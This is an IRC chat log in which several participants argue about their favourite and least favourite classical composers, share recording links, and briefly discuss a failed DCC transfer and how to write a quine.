19:51:55 <hiato> medelhsonn etc
19:52:00 <Gregor> Borodiiiiiiin!
19:52:01 <hiato> Oh noes! not chamber music
19:52:05 <Gregor> BORODIIIIIIIIIIIN
19:52:06 <hiato> yugh
19:52:07 <AnMaster> hiato, why not?
19:52:36 <AnMaster> Gregor, why....
19:52:45 <Gregor> Because Borodin is awesome?
19:52:50 <AnMaster> Kraus!
19:52:54 <Gregor> BORODIN!
19:52:55 <hiato> I just cant stand it. There are a couple of things that I cant stand. Chamber music, water music, most baroque, handel, bach
19:53:03 <AnMaster> Gregor, have you listened much to Kraus at all?
19:53:04 <hiato> Tchaikovsky! Prokofiev!
19:53:11 <AnMaster> He was a true genius
19:53:13 <Gregor> AnMaster: A bit, not much, but it's been a while :P
19:53:20 <Gregor> Balakirev! Rimsky-Korsakov!
19:53:36 * pikhq adds Led Zeppelin to the discussion
19:53:38 <hiato> Gregor has good taste
19:53:40 <AnMaster> hiato, Gregor: all the ones you mention (up until Gregor's last line) are fairly well known ones
19:53:51 <AnMaster> Kraus is sadly not so well known
19:54:19 <hiato> yes
19:54:21 <AnMaster> buy the complete set from your local Naxos branch today!
19:54:42 -!- dougx has joined.
19:54:43 <fizzie> I think Rimsky-Korsokov was used as a curse word in at least the Finnish translation of Bored of the Rings.
19:54:50 <AnMaster> hiato, or at least listen to his C sharp minor sinfonia on youtube
19:54:56 <AnMaster> hiato, movement 3 especially
19:55:03 <AnMaster> that is the best music I ever listened to
19:55:07 <hiato> but I also like holst
19:55:15 <AnMaster> and on second place comes third movement from Vivaldi's summer
19:55:19 <AnMaster> when played fast
19:55:21 <hiato> goddamn delayed comment
19:55:24 * Sgeo can't believe he's actually reorganizing his bookmarks
19:55:32 <Gregor> Holst???
19:55:35 <Gregor> Pfff
19:55:39 <Gregor> Nine-hit wonder.
19:55:57 <Gregor> Swap him out for Elgar.
19:55:59 <hiato> haha
19:56:06 <AnMaster> Now Elgar is quite okay to listen to
19:56:14 <AnMaster> but not one of the things that you actually go "wow" over
19:56:17 <hiato> Haven't heard enough of him to decide -> indifference
19:56:19 * Sgeo is in love with Chrome's bookmark manager
19:56:34 <AnMaster> while Kraus and Vivaldi are in the "wow, wow, wow" category
19:56:59 <Gregor> PACHELBEL
19:57:03 <Gregor> *stabs self*
19:57:09 <lament> aargh stop talking about music
19:57:12 <AnMaster> Gregor, yes, except that music is badly overused
19:57:15 <cpressey> Thank you for saving me the effort, Gregor
19:57:17 <hiato> Now, I forget what this guy's name was, but he did the Gymnopédie and Gnossienne and I love it
19:57:22 <AnMaster> lament, there is esolang music too
19:57:27 <cpressey> hiato: Satie
19:57:29 <AnMaster> hiato, Satie?
19:57:30 <cpressey> <3 Satie
19:57:33 -!- dev_squid has joined.
19:57:33 <hiato> yes!
19:57:35 <lament> AnMaster: aaargh
19:57:37 <AnMaster> hiato, I quite like Satie
19:57:54 <AnMaster> lament, there is some esolangs that takes midi as input iirc
19:58:05 <cpressey> Prokofiev is my absolute favorite.
19:58:13 <Sgeo> Hm, why do I have a link to a page on /b/ in here? Did I forget that /b/ links tend to die?
19:58:38 <AnMaster> cpressey, from what I remember, it is quite... heavy and... "pompöst" (no clue what this is in English)
19:58:41 <hiato> and, ofc, who can deny the schindlers list theme
19:58:46 <lament> aaaargh
19:58:57 <Gregor> AnMaster: "Pompous"
19:59:03 <Gregor> (Presumably)
19:59:07 <AnMaster> Gregor, ah
19:59:09 <AnMaster> well yeah
19:59:12 <lament> satie can go suck it, fuck you for writing music without bar lines
19:59:16 <AnMaster> same goes for Borodin
19:59:19 <lament> what a jerk really
19:59:27 <AnMaster> and *definitely* for Sibelius
19:59:51 <Gregor> OK, how 'bout Ravel then hyuk hyuk
19:59:53 <cpressey> Sibelius sounds like an old man wandering around a house with no idea what he's looking for.
19:59:57 <AnMaster> Gregor, the Swedish word has a negative connotation
20:00:07 <AnMaster> Gregor, does the English "Pompous" have that?
20:00:11 <Gregor> AnMaster: The English word has negative connotation.
20:00:12 <hiato> Gregor: Ravel ftw! too bad he only had one real hit
20:00:14 <AnMaster> right
20:00:15 <hiato> and bizet
20:00:21 <AnMaster> Gregor, Ravel is all right
20:00:24 <AnMaster> but also overplayed
20:00:28 <AnMaster> and not balancedly so
20:00:28 <Gregor> Bizet only had one opera worth of hits :P
20:00:37 <AnMaster> I quite like some of Ravel's other music
20:00:40 <hiato> Quality>quantity
20:00:45 <AnMaster> also Bizet just wrote operas didn't he?
20:00:56 <AnMaster> at least I hardly remember what he wrote
20:01:00 <AnMaster> and I don't like operas
20:01:09 <AnMaster> (guess if I hate or hate wagner?)
20:01:13 <cpressey> AnMaster: "Pompous" means like "arrogant" -- I don't think of Prokofiev's music as anything like that.
20:01:18 <hiato> AnMaster, yes, he wrote an opera, and it is good :P
20:01:22 <AnMaster> lament, did Satie really do that?
20:01:37 <fizzie> "rimsky-korsikov": http://pastebin.com/qWERDPKM
20:01:42 <AnMaster> cpressey, hm. Most russian music sound like that to be
20:01:49 <AnMaster> hiato, I just don't like operas!
20:01:55 <Gregor> Mmmm, pompous doesn't /quite/ mean arrogant, but yeah, similar.
20:01:58 <AnMaster> hiato, I dislike the singing
20:02:04 <Gregor> And I can see what AnMaster is saying about pompousness in Russian music.
20:02:16 <Gregor> But Russian music is all awesomesauce :P
20:02:17 <hiato> AnMaster: but that is the point
20:02:18 <cpressey> http://www.youtube.com/watch?v=q0AkO2OTfjA
20:02:23 <AnMaster> <fizzie> "rimsky-korsikov": http://pastebin.com/qWERDPKM <-- ?
20:02:39 <hiato> Gregor: Yeah! I ... er, have ... the red army chior double cd
20:02:52 <fizzie> AnMaster: Just a random act of quotation.
20:03:00 <AnMaster> hiato, I have something like that on LP I think
20:03:03 <AnMaster> somewhere
20:03:10 <AnMaster> didn't buy it myself
20:03:21 <hiato> and it's brilliant
20:03:30 <cpressey> Well, *of* Russian music, Prokofiev is like the least pompous, I think.
20:03:34 <Gregor> Argh, I was going to mention that composer who was quite popular until everybody started associating him with Nazi Germany, and now his music is super-underplayed, but I can't remember his name ...
20:03:46 <MissPiggy> hitler?
20:03:54 <AnMaster> hiato, well, their rendition of the Internationale is quite impressive!
20:03:57 <ais523> gah, the SCO court cases are setting my mind on the verge of exploding
20:03:58 <AnMaster> (sp?)
20:04:00 <Gregor> Hitler was a fan of his.
20:04:03 <hiato> then, you get the wonders of Monti in his one favourable piece
20:04:13 <AnMaster> <cpressey> Well, *of* Russian music, Prokofiev is like the least pompous, I think. <-- and it is still too much so for me
20:04:21 <AnMaster> I prefer not at all pompous music
20:04:35 <AnMaster> cpressey, probably why I so much strongly prefer chamber music
20:04:48 <hiato> AnMaster: Internationale from them moved me the first time I heard it
20:04:50 <cpressey> AnMaster: Understandable. Well, Vivaldi is also in my Top Ten.
20:04:56 <AnMaster> full orchestra somehow tends to make music more easily pompous...
20:05:11 <hiato> you cannot say that tchaikovsky was pompous
20:05:11 <AnMaster> hiato, hm
20:05:14 <hiato> that is a crime
20:05:16 <AnMaster> hiato, I do say that
20:05:33 <hiato> Blasphemer!
20:05:35 <AnMaster> And lets just not get started about Mahler!
20:05:40 <cpressey> It's all about twisted structure to me (could you tell from my languages...?), and for that, Prokofiev absolutely frickin rules. At least, to me.
20:05:55 <hiato> soon you'll say you like strauss or chopan or something
20:05:58 <AnMaster> now I think he might even beat Sibelius at being most pompous ever
20:06:07 <AnMaster> hiato, which Strauss?
20:06:17 <cpressey> Handel and Chopin are also good stuff.
20:06:17 <AnMaster> I quite like some of Chopin's music
20:06:18 <hiato> AnMaster: you have me stumped
20:06:24 <AnMaster> Händel varies
20:06:28 <hiato> flight of the valkyer strauss, AnMaster
20:06:29 <AnMaster> I like part of his music
20:06:35 <AnMaster> some less so
20:06:37 <lament> the most pompous is obviously vagner
20:06:41 <lament> wagner
20:06:47 <hiato> please, say it isn't so
20:06:49 <AnMaster> <hiato> flight of the valkyer strauss, AnMaster <-- now you are mixing up Strauss and Wagner
20:06:52 <hiato> eg
20:06:54 <hiato> I know
20:06:57 <hiato> I meant blue danube
20:07:03 <AnMaster> hiato, and Wagner is *horrible*
20:07:03 <hiato> I was thinking about wagner though
20:07:06 <AnMaster> that is easily worst ever
20:07:07 <AnMaster> ever
20:07:09 <hiato> yes, agreed
20:07:19 <AnMaster> hiato, for Strauss, I can't keep them apart really
20:07:23 <AnMaster> so can't really answer
20:07:27 <lament> i only ever heard one wagner piece and it was pretty awesome (the ouverture to lohengrin)
20:07:28 <cpressey> Wagner is background music for D&D melodrama
20:07:47 <AnMaster> cpressey, tabletop?
20:07:54 <cpressey> For that, it makes OK background music, but that's all it is
20:08:02 <cpressey> AnMaster: Ring cycle
20:08:03 <hiato> cpressey: wagner is bacground music for ww2 melodrama
20:08:09 <AnMaster> cpressey, flight of the valkyries doesn't fit anywhere
20:08:14 <AnMaster> cpressey, ?
20:08:40 <cpressey> AnMaster: Das Ring Der Niebelungenungenner
20:08:47 <AnMaster> cpressey, yes
20:09:04 <AnMaster> cpressey, but that last word looks a bit too much extended
20:09:08 <hiato> out of interest, what's the opion on dvorak here?
20:09:10 <fizzie> Entgegengegangen, my favorite verb.
20:09:27 <AnMaster> hiato, okay, quite nice background music
20:09:32 <AnMaster> nothing you go "wow" over
20:09:34 <AnMaster> anyway, Debussy varies widely.
20:09:36 <AnMaster> some is really good
20:09:39 <hiato> yes, I guess
20:09:40 <AnMaster> some is a disaster
20:09:50 <hiato> Debussy only has one piece worthy of my ears
20:09:52 <AnMaster> La Mer is a disaster for example
20:09:56 <hiato> clarir de lune
20:09:57 <cpressey> Debussy is for falling asleep to
20:10:26 <AnMaster> hiato, I would add "The Girl with the Flaxen Hair" to that
20:10:32 <hiato> meh
20:10:35 <cpressey> Copland, and Britten, otoh...
20:10:49 <AnMaster> cpressey, doesn't ring much of bells here
20:10:52 <AnMaster> the first slightly
20:10:54 <AnMaster> the second none at all
20:11:00 <hiato> and finally, the last of my idols, the not so classical gershwin
20:11:05 <Gregor> Copland is only known in the US :P
20:11:11 <AnMaster> hiato, gershwin is quite nice
20:11:28 <AnMaster> also I count classically as the classical period only
20:11:30 <hiato> well, by apperciating him I can forgive your admiration of chamber music
20:11:35 <cpressey> And sometimes the US is known as Copland, because the Cops here are so ... nice.
20:11:39 <AnMaster> the vulgar sense of "classical" music
20:11:44 <AnMaster> I call "art music"
20:11:52 <hiato> interesting
20:11:53 <AnMaster> from translating the Swedish word for it
20:11:58 <Gregor> I just call it "music actually worth listening to" :P
20:12:01 -!- whtspc has joined.
20:12:13 <AnMaster> Gregor, well I think experimental jazz can be quite okay sometimes
20:12:22 <Gregor> Fair enough.
20:12:32 <Gregor> But yeah, classical music encompasses Haydn to Beethoven, and not much else.
20:12:39 <Gregor> And little of what we've talked about.
20:12:47 <lament> debussy is fucking awesome
20:12:53 <hiato> that is, to me, classic music
20:13:00 <hiato> classical music, is all of what we mention
20:13:00 <AnMaster> Gregor, Beethoven is right at the edge of the classical period though
20:13:05 <lament> hiato: obviously you like the arabesque
20:13:07 <lament> by debussy
20:13:10 <Gregor> AnMaster: Yeah, he's certainly arguable.
20:13:16 <hiato> guilty as charged
20:13:17 <AnMaster> Gregor, some of his work I would call romantical rather than classical
20:13:28 <Gregor> But that "some" is important :)
20:13:33 <AnMaster> lament, I like it, but not something I go "wow" above
20:13:36 <AnMaster> about*
20:13:39 <lament> AnMaster: you're not hiato
20:13:46 <AnMaster> lament, true
20:13:53 <AnMaster> I just provided an extra data point
20:13:56 <lament> you might actually have some taste
20:14:09 <lament> he just claims to like clair de lune, so obviously he must like arabesque as well
20:14:17 <AnMaster> lets all agree that Mozart's chamber music is awesome?
20:14:22 <AnMaster> especially if for a string quartet
20:14:35 <lament> dunno, divertimentos are kinda boring
20:14:52 <hiato> !Error: does not compute!
20:15:15 <lament> i really like the 1st mvt of dissonance quartet, but the others not so much
20:15:17 <AnMaster> lament, I quite like the last movement in Eine Kleine Nachtmusik (spelling? The spellchecker should auto detect what I meant!)
20:15:26 <lament> oh i never actually heard that :D
20:15:32 <hiato> Heh
20:15:37 <hiato> And sheep may safely graze
20:15:54 <AnMaster> lament, well, it is one of his most famous pieces of music
20:16:01 <lament> AnMaster: only one mvt
20:16:06 <AnMaster> lament, which one?
20:16:08 <lament> obviously i heard that one
20:16:09 <lament> the famous one
20:16:10 <lament> fuck
20:16:17 <AnMaster> lament, I don't know which one is the famous one!
20:16:31 <Gregor> Suk!
20:16:44 <Gregor> Nobody (outside of the Czech Republic) has heard of Suk :P
20:16:51 <cpressey> http://www.youtube.com/watch?v=cqah1rucyRg <-- IT'S SO AMERICAN!
20:16:51 <AnMaster> lament, I'm talking about Rondo: Allegro
20:17:14 <AnMaster> cpressey, the title made me decide it wasn't worth the effort to youtube-dl
20:17:20 <lament> AnMaster: 1st mvt is the famous one
20:17:29 <cpressey> uh, but the percussion section in the orchestra is kind of fail
20:17:29 <AnMaster> lament, all, well, it is kind of okay
20:17:41 <AnMaster> lament, but nothing, I repeat *nothing* like the final movement!
20:18:19 <AnMaster> lament, the final movement really made me go "wow, wow" the first time I heard it
20:18:32 <AnMaster> also what is your opinion on Leopold Mozart?
20:18:42 <cpressey> AnMaster: it's actually a fine piece of music.
20:18:45 <cpressey> IMo of course
20:19:05 <AnMaster> cpressey, which one? K525 IV. Rondo?
20:19:10 <lament> never heard leopold mozart
20:19:14 * hiato thinks that anyone who checks the logs for today will think that the date must be April 1
20:19:14 <cpressey> AnMaster: the link i sent
20:19:24 * AnMaster wonders how many here has even listened to anything composed by W. A. Mozart's father
20:19:28 * cpressey has almost no opinion on Mozart
20:19:41 <cpressey> Beethoven, otoh
20:19:45 <cpressey> <3 Beethoven
20:19:48 * hiato has never heard of W. Mozart's Father
20:19:53 <hiato> noooooo!
20:19:54 <AnMaster> cpressey, isn't any "wow"
20:20:08 -!- dougx has quit (Quit: Leaving.).
20:20:09 <cpressey> AnMaster: Any Mozart? Um...
20:20:14 <AnMaster> hiato, Leopold Mozart. Heard one piece of it
20:20:19 <cpressey> That Turkish March thing is catchy.
20:20:22 <lament> beethoven is lame
20:20:28 <AnMaster> cpressey, well yes
20:20:33 <lament> i hate beethoven
20:20:36 <hiato> AnMaster: name?
20:20:36 <AnMaster> cpressey, I meant Beethoven "<AnMaster> cpressey, isn't any "wow""
20:20:36 <lament> what a pretentious dickwad
20:20:37 <cpressey> lament: OK, so let me get this straight.
20:20:41 <AnMaster> hiato, who?
20:20:46 <hiato> cpressey: turkish is wolf mozart
20:20:48 <cpressey> lament: You *like* Debussy and you *don't like* Beethoven.
20:20:50 <AnMaster> hiato, oh the piece? Toy Symphony
20:20:55 <hiato> AnMaster: yeah
20:20:56 <AnMaster> hiato, includes some unusual instruments
20:21:01 <hiato> oh?
20:21:05 <lament> cpressey: beethoven is like, omg check out how awesome i am and how much my heroic soul suffers
20:21:12 <lament> guess what fuck you dipshit i dont care
20:21:33 <AnMaster> cpressey, I have to agree with lament here. Beethoven made some quite nice pieces. But a lot of it is just too heavy and romantical
20:21:48 <hiato> thirded! (?)
20:22:09 <lament> when beethoven is classical, he's worse than mozart
20:22:15 <lament> when beethoven is romantic, he's worse than chopin
20:22:19 <lament> he's just stuck in this in-between stage
20:22:36 <AnMaster> lament, Fur Elise is quite nice though
20:22:58 <AnMaster> they used to play an electronic version of it on some radio station here when it wasn't sending
20:22:59 <hiato> moohlight aynone?
20:23:02 <AnMaster> like, during the night
20:23:06 <AnMaster> the first opening bars or such
20:23:16 <AnMaster> hiato, "meh"
20:23:26 <hiato> I would say moonlight > fur elise
20:23:28 <lament> AnMaster: dcc
20:23:31 <AnMaster> I don't get what the fuss is about wrt moonlight
20:23:42 <AnMaster> lament, uh, need to unblock it
20:23:46 <hiato> but that's just becaues, for me, the melody is more "involved"
20:24:07 <AnMaster> lament, okay, temporarily unignored dcc
20:24:09 <AnMaster> try again
20:24:16 <AnMaster> lament, and I'm behind weird NAT
20:24:23 <AnMaster> so, I hope it all works on your side
20:24:36 <AnMaster> lament, but what are you going to send?
20:24:39 <cpressey> lament: Just wanted to get that straight.
20:24:48 <AnMaster> (and when will the dialogue come?)
20:24:50 <cpressey> For the record, I barely consider what Debussy wrote to be music.
20:25:10 <AnMaster> cpressey, for La Mer I would agree. For several of his other works I find them very nice
20:25:47 <AnMaster> of course even La Mer is *miles* above people like Schönberg (who is *parsecs* above Wagner)
20:25:59 <cpressey> As French composers go, Berlioz or Couperin.
20:26:04 <AnMaster> cpressey, Satie!
20:26:07 <hiato> but back to beethoven, I have this brialliant CD set of Ashkenazy playing some of his piano movements, brilliant the lot. But, then as they progress, you can hear the romantic influences and it gets annoying
20:26:09 <cpressey> Oh right!
20:26:17 <cpressey> I keep forgetting Satie is French.
20:26:18 <AnMaster> cpressey, Lizt and Paganini are interesting technically
20:26:26 <AnMaster> lament, aren't you going to resend the DCC request then?
20:26:41 <AnMaster> lament, as I said it was dropped first time and now I temporarily allowed it
20:26:41 <hiato> AnMaster: only if you are a violin player
20:26:45 <cpressey> And Schönberg was some very twisted soul who I'll never understand.
20:26:46 <AnMaster> hiato, what?
20:26:51 <AnMaster> hiato, well, to listen to
20:27:09 <hiato> Paganinin, I don't find technically interesting, being a saxophonist
20:27:16 <AnMaster> lament, it says "connecting..."
20:27:28 <AnMaster> lament, sure you opened the ports on your side?
20:27:31 <lament> fuck dcc
20:27:32 <AnMaster> * DCC RECV connect attempt to lament failed (err=Connection timed out).
20:27:37 <lament> oh well
20:27:40 <lament> i'm too lazy to upload it
20:27:47 <AnMaster> lament, fur elise I see
20:27:53 <AnMaster> but what is special about that one
20:28:15 * AnMaster re-enabled *!*@* dcc ignore
20:28:16 <lament> cpressey: debussy is stunning at times
20:28:28 <AnMaster> lament, agreed. But what about La Mer?
20:28:33 <lament> cpressey: you don't like the sunken cathedral?
20:28:35 <AnMaster> you can't say that one is stunning can you?
20:28:45 <lament> AnMaster: please be more logical and less non-sequitur
20:28:56 <AnMaster> lament, wrt what?
20:29:53 * AnMaster never heard the sunken cathedral btw
20:30:06 <AnMaster> brb in a few minutes
20:30:45 <hiato> Checking my playlist now, it seems I listen to brahms more than vivaldi, handel, chopin, mozart, bach, lizt and some others put together
20:30:51 <hiato> and I don't even like brahms :P
20:31:03 <lament> brahms has awesome harmonies
20:31:07 <lament> nobody else is even close
20:31:25 <lament> well i guess rachmaninoff
20:32:31 <hiato> Who was it that wrote the Peer Gynt Suite? That, to me, is the greatest (non-Satie) simplistic music
20:32:43 <cpressey> If Beethoven had a suffering, heroic soul, then Debussy had the soul of a lovesick schoolgirl.
20:33:33 * cpressey looks for Sunken Cathedral
20:34:43 <cpressey> hiato: Grieg I think?
20:35:34 <hiato> Se possible
20:35:59 <hiato> who, by the way, I think struck it lucky with hall of the mountain king
20:36:32 <cpressey> Kind of a one-hit wonder, yeah, but he wrote a lot of short "character pieces", and what I've heard of the others, he's not too bad.
20:36:54 <hiato> pf... didn't know about that
20:38:16 <cpressey> Completely forgot.
20:38:32 <cpressey> Mendelssohn
20:38:37 <AnMaster> <hiato> Checking my playlist now, it seems I listen to brahms more than vivaldi, handel, chopin, mozart, bach, lizt and some others put together <-- bramhs? "meh" again
20:38:53 <AnMaster> <hiato> Who was it that wrote the Peer Gynt Suite? That, to me, is the greatest (non-Satie) simplistic music
20:38:58 <AnMaster> Grieg is indeed awesome
20:39:26 <AnMaster> I listened to the whole Peer Gynt of course
20:39:29 <cpressey> OK, now I can say I have endured the Sunken Cathedral.
20:39:30 <AnMaster> quite interesting
20:39:36 <AnMaster> cpressey, link?
20:39:41 <cpressey> It's kind of nice... if you like downing.
20:39:56 <cpressey> Or drowning.
20:40:01 <AnMaster> Mendelssohn is meh
20:40:07 <cpressey> AnMaster: to which?
20:40:10 <hiato> medelssohn is genious
20:40:18 <AnMaster> cpressey, sunken cathedral
20:40:19 <hiato> violin concerto in e minor!
20:40:29 <cpressey> I-TAL-ian, I-TAL-ian, dah DAHHH, duh duh duh
20:40:31 <AnMaster> hiato, not sure I heard that one. Link?
20:40:39 <cpressey> AnMaster: http://www.youtube.com/watch?v=3geejD5Dksk
20:41:23 <AnMaster> cpressey, disharmonic much?
20:41:33 <AnMaster> that is the bit I hate about La Mer
20:41:37 <AnMaster> well not hate
20:41:40 <AnMaster> that's too strong
20:41:44 <AnMaster> "strongly dislike" is better
20:41:56 <hiato> AnMaster: http://ocw.mit.edu/OcwWeb/Electrical-Engineering-and-Computer-Science/6-035Fall-2005/CourseHome/index.htm
20:41:59 <hiato> yugh
20:42:06 <AnMaster> hiato, really?
20:42:11 <hiato> http://www.youtube.com/watch?v=p08izmpPy0s#
20:42:14 <hiato> heh
20:42:16 <AnMaster> hiato, are you using synergy or something?
20:42:17 <cpressey> AnMaster: lots of wishy-washy not-exactly-disharmonious fourths and ninths and stuff, I though
20:42:23 <hiato> goddamn two xclipboards
20:42:24 <AnMaster> it tends to fuck up your clipboard badly
20:42:32 <AnMaster> hiato, I always use middle mouse one
20:43:35 <hiato> i guess
20:44:43 <cpressey> Chopin isn't great, but there's a couple of his pieces that always get stuck in my head
20:44:55 <AnMaster> well, okay background music
20:45:00 <AnMaster> you don't remember it 5 minutes later
20:45:03 <cpressey> I don't dig piano music generally, but his I can usually stand
20:45:07 <AnMaster> that is my opinion on Chopin
20:45:23 <cpressey> Not quite as background-y as Wagner, but yes, pretty background-y.
20:45:25 <AnMaster> cpressey, wrt. piano music: Mozart or Lizt
20:45:36 <AnMaster> plus I play piano (amateur level!) myself
20:45:45 <cpressey> You know, I know almost nothing by Liszt.
20:45:50 <AnMaster> cpressey, wagener isn't backgroundy. Wagner is headachy
20:45:57 <cpressey> And, I now claim, Mozart was a robot.
20:46:03 <AnMaster> cpressey, what?
20:46:17 <cpressey> Well, I figured I ought to have some opinion about him, so there it is,.
20:46:24 <AnMaster> XD
20:47:50 <hiato> AnMaster: and? what did you think of he mendelssohn?
20:47:52 <AnMaster> lament, listened to that sunken cathedral. Not one of his best pieces
20:48:02 <AnMaster> hiato, just started listening to it
20:48:22 <AnMaster> hiato, too much symphony orchestra. But at least a lot of strings.
20:48:38 <hiato> Wait, it's a *violin* concerto
20:48:41 <hiato> mainly solo
20:48:42 <AnMaster> hiato, one of mendelssohn's better pieces so far
20:48:48 <cpressey> hiato: Max Bruch also wrote a pretty quality violin concerto
20:48:53 <AnMaster> hiato, well, too much orchestra then
20:48:54 -!- angstrom has joined.
20:49:00 <hiato> Never heard of him cpressey
20:49:02 <AnMaster> (hiato, remember I prefer chamber music)
20:49:11 <AnMaster> hm who is angstrom?
20:49:20 <cpressey> hiato: I first heard of him from the B-side of that Mendelssohn concerto :)
20:49:21 <angstrom> could a quine be written which utilizes a function to generate a sequence of numbers (ascii) which, printed out, represent the program (_including_ the implementation of the function!) ?
20:49:25 <AnMaster> cpressey, anyway got anywhere with befunge-111 today?
20:49:37 <cpressey> AnMaster: not working on it today.
20:49:49 <AnMaster> angstrom, how do you mean?
20:50:02 <AnMaster> angstrom, and in which language
20:50:04 <cpressey> *B-side of a recording of that Mendelssohn concerto
20:50:19 <angstrom> AnMaster: wondering whether is possible at all
20:50:21 <ais523> angstrom: in any sufficiently powerful language (TC with a few assumptions about I/O), there's no reason it couldn't be
20:50:40 <cpressey> ais523: You get pinged on 'quine', don't you? :)
20:50:43 <hiato> AnMaster: right, a chamber musci man can't apperciate mendelssohn at his best
20:50:44 <angstrom> ais523: but how would one move towards it
20:50:49 <AnMaster> cpressey, :D
20:50:52 <ais523> cpressey: no, I don't; just happened to look into the channel
20:51:01 <hiato> cpressey: interesting, I'll take a look around
20:51:09 <ais523> angstrom: you'd use one of the quine models that allow you to add arbitrary data that's also quined
20:51:18 <AnMaster> hiato, yeah, Vivaldi, Mozart and Kraus for me. And *some* of Haydn
20:51:28 <ais523> then put code in that duplicates that arbitrary data that changes an ordinary quine into the numbers
20:51:37 <angstrom> ais523: that is not what i mean
20:51:46 <ais523> what do you mean?
20:52:18 <ais523> are you trying to limit the "function" somewhat so it doesn't have a bunch of arbitrary data encoded in it?
20:52:26 <cpressey> hiato: OK, listening to the Mendelssohn concerto again, uhhh. Max Bruch's is good, but it doesn't compare.
20:53:02 <AnMaster> hiato yet I like Grieg very much. But a lot of his isn't pompous even though it uses a full orchestra. (Of course some exceptions, like "I dovregubbens sal" (iirc, and "In the hall of the mountain king" in English))
20:53:11 <AnMaster> (yet that one is acceptable somehow)
20:53:26 <angstrom> ais523: for every given arbitrary finite sequence a function, which generates this sequence, could be described. the problem is: the sequence _must_ contain the implementation of the function
20:53:34 -!- whtspc has quit (Ping timeout: 264 seconds).
20:53:58 <AnMaster> ais523, anyone made a GOL "quine"?
20:54:01 <AnMaster> well
20:54:03 <AnMaster> non-trivial one
20:54:07 <hiato> AnMaster: yeah, everyone has theri own tastes though. funyy that you like grieg though
20:54:11 <angstrom> got my point?
20:54:18 <hiato> cpressey: yeah! now you start to apprecaite mendelssohn
20:54:24 <ais523> angstrom: yes; but that's just the same as a normal quine
20:54:29 <hiato> he's brilliant like no other for those concertos
20:54:32 <AnMaster> hiato, it has a feeling of lightness and open nature about it all through.
20:54:35 <ais523> because you can see the entire program as a function
20:54:55 <hiato> AnMaster, what, grieg?
20:54:59 <AnMaster> hiato, yes
20:55:12 <cpressey> hiato: I had forgotten...
20:55:13 <AnMaster> hiato, don't you just see the fjords when you listen to his music
20:55:27 <AnMaster> (well not in all pieces of course)
20:55:31 <angstrom> ais523: could you provide me with a particular example? all the quines i've seen relly heavily on pre-processor macros
20:55:32 <hiato> AnMaster hahaha, yeah, I'm pining for the fjords
20:55:38 <hiato> cpressey :)
20:55:58 <AnMaster> hiato, augh. But seriously... some of Grieg's best is non-Peer-Gynt
20:55:58 <angstrom> ais523: maybe you are right
20:56:12 <ais523> angstrom: think any BF quine, but interpreted as a function; if you want it to be an actual function in the language, use a BF-like language which has functions
20:56:17 <AnMaster> hiato, hardangerfela (sp?) is a nice Norwegian "folk" instrument
20:56:33 <hiato> AnMaster: I must disagree. In fact, I find it hard to apprecaite any of his other stuff compare to it
20:56:51 <AnMaster> hiato, http://en.wikipedia.org/wiki/Hardingfele
20:56:59 <AnMaster> hiato, what? !?
20:57:14 <angstrom> ais523: ic. have to investigate
20:57:15 <AnMaster> hiato, Peer Gynt is good but nothing like *digs around for cd*
20:57:45 <AnMaster> ah found it
20:58:24 <AnMaster> hiato, hm must check which track on the cd it is I'm thinking about
20:59:17 <AnMaster> hiato, Norwegian Dance No. 2 for example
20:59:35 <AnMaster> hiato, (Allegretto tranquillo e grazioso)
21:00:19 <AnMaster> hiato, Solveig's Sang is nice though
21:00:20 <hiato> link por favor
21:00:28 <AnMaster> (even though it is in Peer Gynt)
21:00:57 <AnMaster> hiato, sure: http://www.naxos.com/catalogue/item.asp?item_code=8.551108
21:01:00 <hiato> though, I think I did try searching for norweigan dance once, after having heard it on theradio
21:01:19 <AnMaster> hm times out for me that link
21:01:29 <AnMaster> ah now it loads
21:01:45 <AnMaster> hiato, anyway, it is track 3 on that cd.
21:01:59 <AnMaster> hiato, solveig's sang you can find any number of
21:02:06 <AnMaster> hiato, just pick an instrumental one!
21:02:13 <cpressey> Schubert's Unfinished is also good. Never been a huge fan of his other stuff though.
21:02:26 <hiato> AnMaster: will do, commencing youtubing now
21:02:29 <AnMaster> hiato, also Holberg Suite: Prelude is awesome
21:03:45 <AnMaster> hiato, I imagine a Scandinavian mountainous region, crystal clear weather, slight breeze, mid-morning.
21:03:55 <AnMaster> fjords definitely have a place in there!
21:04:39 <hiato> haha :P
21:04:42 <AnMaster> well it changes feeling towards the end
21:04:49 <AnMaster> but to begin with it is definitely like that
21:04:53 <hiato> eh, it keeps timing out, but I will keep searching
21:05:08 <AnMaster> hiato, also Holberg Suite: Andante is quite nice
21:05:20 <AnMaster> not "wow"
21:05:22 <AnMaster> but restful
21:06:26 <hiato> you see, I like the dramatic music of tchaikovsky, and the tension of prokofiev (esp: dance of the knights/romeo juliet) so it's difficult for me to accept "airy" music like some of this
21:06:47 <AnMaster> hiato, tchaikovsky: overly dramatic and somewhat pompous
21:07:05 <cpressey> hiato: I think you and I must have similar tastes. Satie is some of the only music that I like that I would call "airy".
21:07:20 <AnMaster> hiato, But would you call Vivaldi's summer, third movement "airy"?
21:07:29 <cpressey> Tchaikovsky I'm kind of neutral on.
21:07:38 <AnMaster> hiato, it's supposed to depict a raging thunderstorm ffs!
21:07:40 <cpressey> Vivaldi rocks.
21:07:51 <hiato> cpressey: I would mostly agree
21:08:04 <AnMaster> and that movement takes second place on my all time best list
21:08:17 <hiato> AnMaster: well, the only thing I really like from vivaldi is winter, er, allegro i think
21:08:43 <AnMaster> after Kraus' Sinfonia in C# minor movement 4
21:08:56 <AnMaster> hiato, the winter is the worst of the seasons
21:08:59 <cpressey> I like weird. Some of the composers I like are obviously pretty weird (Prokofiev, Satie, Milhaud, Stravinsky...) I'm trying to figure out what the ones who *aren't* weird, have in common.
21:09:04 <AnMaster> of course vivaldi did a lot more than just the seasons
21:09:10 <AnMaster> some of it very nice
21:09:19 <AnMaster> cpressey, satie is not weird
21:09:22 <cpressey> Vivaldi is not weird, neither is Mendelssohn
21:09:41 <AnMaster> cpressey, I recommend you listen to Kraus
21:09:53 <hiato> AnMaster: I really can't dig vivaldi
21:09:53 <cpressey> AnMaster: Satie is extremely weird! It's just hard to hear in some of his pieces
21:09:59 <hiato> cpressey: to me, those are normal
21:10:01 <AnMaster> hiato, well that's your issue ;P
21:10:03 <cpressey> He wrote a piece for walking stick!
21:10:08 <hiato> what AnMaster appreciates, now that's weird ;)
21:10:17 <AnMaster> hiato, no!
21:10:36 <cpressey> Well, on the other hand, Schoenberg was ... too weird. Schoenberg is like the Malbolge of composers.
21:11:05 <hiato> haha
21:11:09 <hiato> I like that comparison
